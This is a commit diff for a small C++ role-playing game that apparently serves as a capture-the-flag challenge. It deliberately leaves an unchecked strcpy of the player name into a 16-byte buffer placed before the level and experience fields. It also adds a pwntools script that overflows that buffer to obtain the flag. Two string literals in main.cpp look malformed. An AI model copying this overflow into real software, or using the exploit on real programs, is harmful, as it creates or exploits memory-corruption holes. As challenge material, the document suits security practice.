Browse Source

final version

master
myitinos 5 years ago
parent
commit
c92069ac01
7 changed files with 100 additions and 27 deletions
  1. +2
    -1
      lib/BattleInterface.cpp
  2. +48
    -5
      lib/Character.cpp
  3. +10
    -7
      lib/Character.hpp
  4. +9
    -6
      lib/UserInterface.cpp
  5. BIN
      main
  6. +13
    -8
      main.cpp
  7. +18
    -0
      main.py

+ 2
- 1
lib/BattleInterface.cpp View File

@ -61,6 +61,7 @@ void BattleInterface::start()
{ {
std::cout << "[" << i << "] " << Spell::Book.at(i).getName() << "\n"; std::cout << "[" << i << "] " << Spell::Book.at(i).getName() << "\n";
} }
std::cout << std::flush;
choiceInt = UserInterface::getNumber( choiceInt = UserInterface::getNumber(
"What are you gonna cast this turn?\n>", 0, "What are you gonna cast this turn?\n>", 0,
@ -82,7 +83,7 @@ void BattleInterface::start()
UserInterface::print(buff); UserInterface::print(buff);
} }
choiceInt = (random() % player2->getLevel());
choiceInt = (random() % (player2->getLevel() < Spell::Book.size() ? player2->getLevel() : Spell::Book.size()));
if (player2->canCastSpell(&Spell::Book.at(choiceInt))) if (player2->canCastSpell(&Spell::Book.at(choiceInt)))
{ {
player2->castSpell(&Spell::Book.at(choiceInt), player1); player2->castSpell(&Spell::Book.at(choiceInt), player1);

+ 48
- 5
lib/Character.cpp View File

@ -1,8 +1,36 @@
#include "Character.hpp" #include "Character.hpp"
#include <cstring> #include <cstring>
const int Character::maxLevel = 0xffff;
const int Character::maxExperience = 0x0fffffff;
Character::Character()
{
this->level = 1;
this->experience = 0;
this->maxHP = 10;
this->curHP = maxHP;
this->maxMP = 5;
this->curMP = maxMP;
this->atk = 1;
this->def = 1;
memset(this->name, 0, 16);
}
Character::Character(char *n) : Character::Character()
{
strcpy(this->name, n);
this->name[15] = 0;
}
Character::Character(const char *n) : Character::Character()
{
strcpy(this->name, n);
this->name[15] = 0;
}
Character::Character(char *n, int l, int e, int h, int m, int a, int d) Character::Character(char *n, int l, int e, int h, int m, int a, int d)
{ {
strcpy(this->name, n);
this->name[15] = 0;
this->level = l; this->level = l;
this->experience = e; this->experience = e;
this->maxHP = h; this->maxHP = h;
@ -11,12 +39,12 @@ Character::Character(char *n, int l, int e, int h, int m, int a, int d)
this->curMP = maxMP; this->curMP = maxMP;
this->atk = a; this->atk = a;
this->def = d; this->def = d;
strcpy(this->name, n);
this->name[15] = 0;
} }
Character::Character(const char *n, int l, int e, int h, int m, int a, int d) Character::Character(const char *n, int l, int e, int h, int m, int a, int d)
{ {
strcpy(this->name, n);
this->name[15] = 0;
this->level = l; this->level = l;
this->experience = e; this->experience = e;
this->maxHP = h; this->maxHP = h;
@ -25,7 +53,6 @@ Character::Character(const char *n, int l, int e, int h, int m, int a, int d)
this->curMP = maxMP; this->curMP = maxMP;
this->atk = a; this->atk = a;
this->def = d; this->def = d;
strcpy(this->name, n);
} }
char *Character::getName() char *Character::getName()
@ -35,11 +62,19 @@ char *Character::getName()
int Character::getLevel() int Character::getLevel()
{ {
if (this->level > Character::maxLevel)
{
exit(-1);
}
return this->level; return this->level;
} }
int Character::getExperience() int Character::getExperience()
{ {
if (this->experience > Character::maxExperience)
{
exit(-1);
}
return this->experience; return this->experience;
} }
@ -50,6 +85,10 @@ int Character::getMaxHP()
int Character::getCurHP() int Character::getCurHP()
{ {
if (this->curHP > this->maxHP)
{
exit(-1);
}
return this->curHP; return this->curHP;
} }
@ -60,6 +99,10 @@ int Character::getMaxMP()
int Character::getCurMP() int Character::getCurMP()
{ {
if (this->curMP > this->maxMP)
{
exit(-1);
}
return this->curMP; return this->curMP;
} }
@ -132,9 +175,9 @@ bool Character::readytoLevelUp()
void Character::increaseExperience(int n) void Character::increaseExperience(int n)
{ {
this->experience += n; this->experience += n;
if (this->experience > maxEperience)
if (this->experience > maxExperience)
{ {
this->experience = maxEperience;
this->experience = maxExperience;
} }
while (this->readytoLevelUp()) while (this->readytoLevelUp())
{ {

+ 10
- 7
lib/Character.hpp View File

@ -8,18 +8,18 @@
class Character class Character
{ {
protected: protected:
static const int maxLevel = 100;
static const int maxEperience = 999999999;
static const int maxLevel;
static const int maxExperience;
char name[16]; char name[16];
int level;
int experience; int experience;
int maxHP;
int curHP;
int maxMP;
int curMP;
int level;
int atk; int atk;
int def; int def;
int curHP;
int curMP;
int maxHP;
int maxMP;
void restoreHP(int); void restoreHP(int);
void restoreMP(int); void restoreMP(int);
@ -27,6 +27,9 @@ protected:
void reduceMP(int); void reduceMP(int);
public: public:
Character();
Character(char *name);
Character(const char *name);
Character(char *name, int level, int exp, int hp, int mp, int atk, int def); Character(char *name, int level, int exp, int hp, int mp, int atk, int def);
Character(const char *name, int level, int exp, int hp, int mp, int atk, int def); Character(const char *name, int level, int exp, int hp, int mp, int atk, int def);

+ 9
- 6
lib/UserInterface.cpp View File

@ -1,9 +1,9 @@
#include "UserInterface.hpp" #include "UserInterface.hpp"
const int UserInterface::interval = 0; // in ms
const int UserInterface::interval = 0; // in ms
const int UserInterface::miniInterval = 0; // in ms const int UserInterface::miniInterval = 0; // in ms
const int UserInterface::maxDay = 28; const int UserInterface::maxDay = 28;
const int UserInterface::maxMonth = 4;
const int UserInterface::maxMonth = 12;
const int UserInterface::maxYear = 100; const int UserInterface::maxYear = 100;
int UserInterface::day = 1; int UserInterface::day = 1;
@ -76,17 +76,20 @@ Character *UserInterface::characterCreation()
{ {
char buffer[128] = {0}; char buffer[128] = {0};
char choice = 0; char choice = 0;
int i;
short b;
while (choice != 'y' && choice != 'Y') while (choice != 'y' && choice != 'Y')
{ {
std::cout << "Who should we call you?\n" std::cout << "Who should we call you?\n"
<< ">" << std::flush; << ">" << std::flush;
std::cin >> buffer; std::cin >> buffer;
std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n" std::cout << "So you are a young mage named \"" << buffer << "\" correct? (y/N)\n"
<< ">"; << ">";
std::cin >> choice; std::cin >> choice;
} }
return new Character(
buffer, 1, 0, 10, 10, 5, 5);
return new Character(buffer);
} }
void UserInterface::epilogue() void UserInterface::epilogue()
@ -193,15 +196,15 @@ void UserInterface::nextDay()
{ {
if (UserInterface::day++ >= UserInterface::maxDay) if (UserInterface::day++ >= UserInterface::maxDay)
{ {
day = 1;
if (UserInterface::month++ >= UserInterface::maxMonth) if (UserInterface::month++ >= UserInterface::maxMonth)
{ {
month = 1;
if (UserInterface::year++ >= UserInterface::maxYear) if (UserInterface::year++ >= UserInterface::maxYear)
{ {
UserInterface::gameOver = true; UserInterface::gameOver = true;
} }
month = 1;
} }
day = 1;
} }
} }

BIN
main View File


+ 13
- 8
main.cpp View File

@ -1,5 +1,6 @@
#include <iostream> #include <iostream>
#include <fstream>
#include <thread> #include <thread>
#include <chrono> #include <chrono>
#include <random> #include <random>
@ -13,7 +14,11 @@
std::string loadFlag() std::string loadFlag()
{ {
return "";
std::string flagString;
std::ifstream flagFile("flag.txt");
flagFile >> flagString;
flagFile.close();
return flagString;
} }
int main() int main()
@ -32,7 +37,7 @@ int main()
UserInterface::welcomeMessage(); UserInterface::welcomeMessage();
UserInterface::epilogue(); UserInterface::epilogue();
player = UserInterface::characterCreation(); player = UserInterface::characterCreation();
archMage = new Character("Arch-Mage", 100, 0, 100000, 100000, 1, 1);
archMage = new Character("Arch-Mage", 500, 0, 5000, 5000, 1, 1);
enemies = { enemies = {
new Character("Abby", 1, 1, 10, 5, 1, 1), new Character("Abby", 1, 1, 10, 5, 1, 1),
new Character("John", 2, 3, 20, 10, 1, 1), new Character("John", 2, 3, 20, 10, 1, 1),
@ -73,7 +78,7 @@ int main()
choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size()); choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size());
UserInterface::print("You are going to spar with:\n"); UserInterface::print("You are going to spar with:\n");
UserInterface::characterInfo(enemies.at(choiceInt)); UserInterface::characterInfo(enemies.at(choiceInt));
UserInterface::print("Are you sure? (y/N)");
UserInterface::print("Are you sure? (y/N)e">\n>");
std::cin >> choiceChar; std::cin >> choiceChar;
if (choiceChar == 'y' || choiceChar == 'Y') if (choiceChar == 'y' || choiceChar == 'Y')
{ {
@ -102,7 +107,7 @@ int main()
break; break;
case 4: case 4:
UserInterface::print("You are going to challenge the Arch-Mage...\n"); UserInterface::print("You are going to challenge the Arch-Mage...\n");
UserInterface::print("Are you sure? (y/N)");
UserInterface::print("Are you sure? (y/N)e">\n>");
std::cin >> choiceChar; std::cin >> choiceChar;
if (choiceChar == 'y' || choiceChar == 'Y') if (choiceChar == 'y' || choiceChar == 'Y')
{ {
@ -116,13 +121,13 @@ int main()
UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n"); UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n");
UserInterface::print("Turns out the content is just some meaningless word...\n"); UserInterface::print("Turns out the content is just some meaningless word...\n");
UserInterface::print("Here is the content:\n"); UserInterface::print("Here is the content:\n");
UserInterface::print(flag);
UserInterface::print(flag + "\n");
} }
else else
{ {
UserInterface::print("You lose, but you still get some experience...\n");
player->revive();
player->increaseExperience(enemies.at(choiceInt)->getLevel() / 2);
UserInterface::print("You lose...\n");
UserInterface::print("Sadly his spell was to powerful,\n");
UserInterface::print("You got killed by the arch-mage...\n");
} }
} }
else else

+ 18
- 0
main.py View File

@ -0,0 +1,18 @@
from pwn import *
if __name__ == "__main__":
p = process("./main")
print p.recvuntil(">")
p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01"))
print p.recvuntil(">")
p.sendline("y")
print p.recvuntil(">")
p.sendline("2")
print p.recvuntil(">")
p.sendline("4")
print p.recvuntil(">")
p.sendline("y")
for i in xrange(99):
print p.recvuntil(">")
p.sendline("9")
p.interactive()

Loading…
Cancel
Save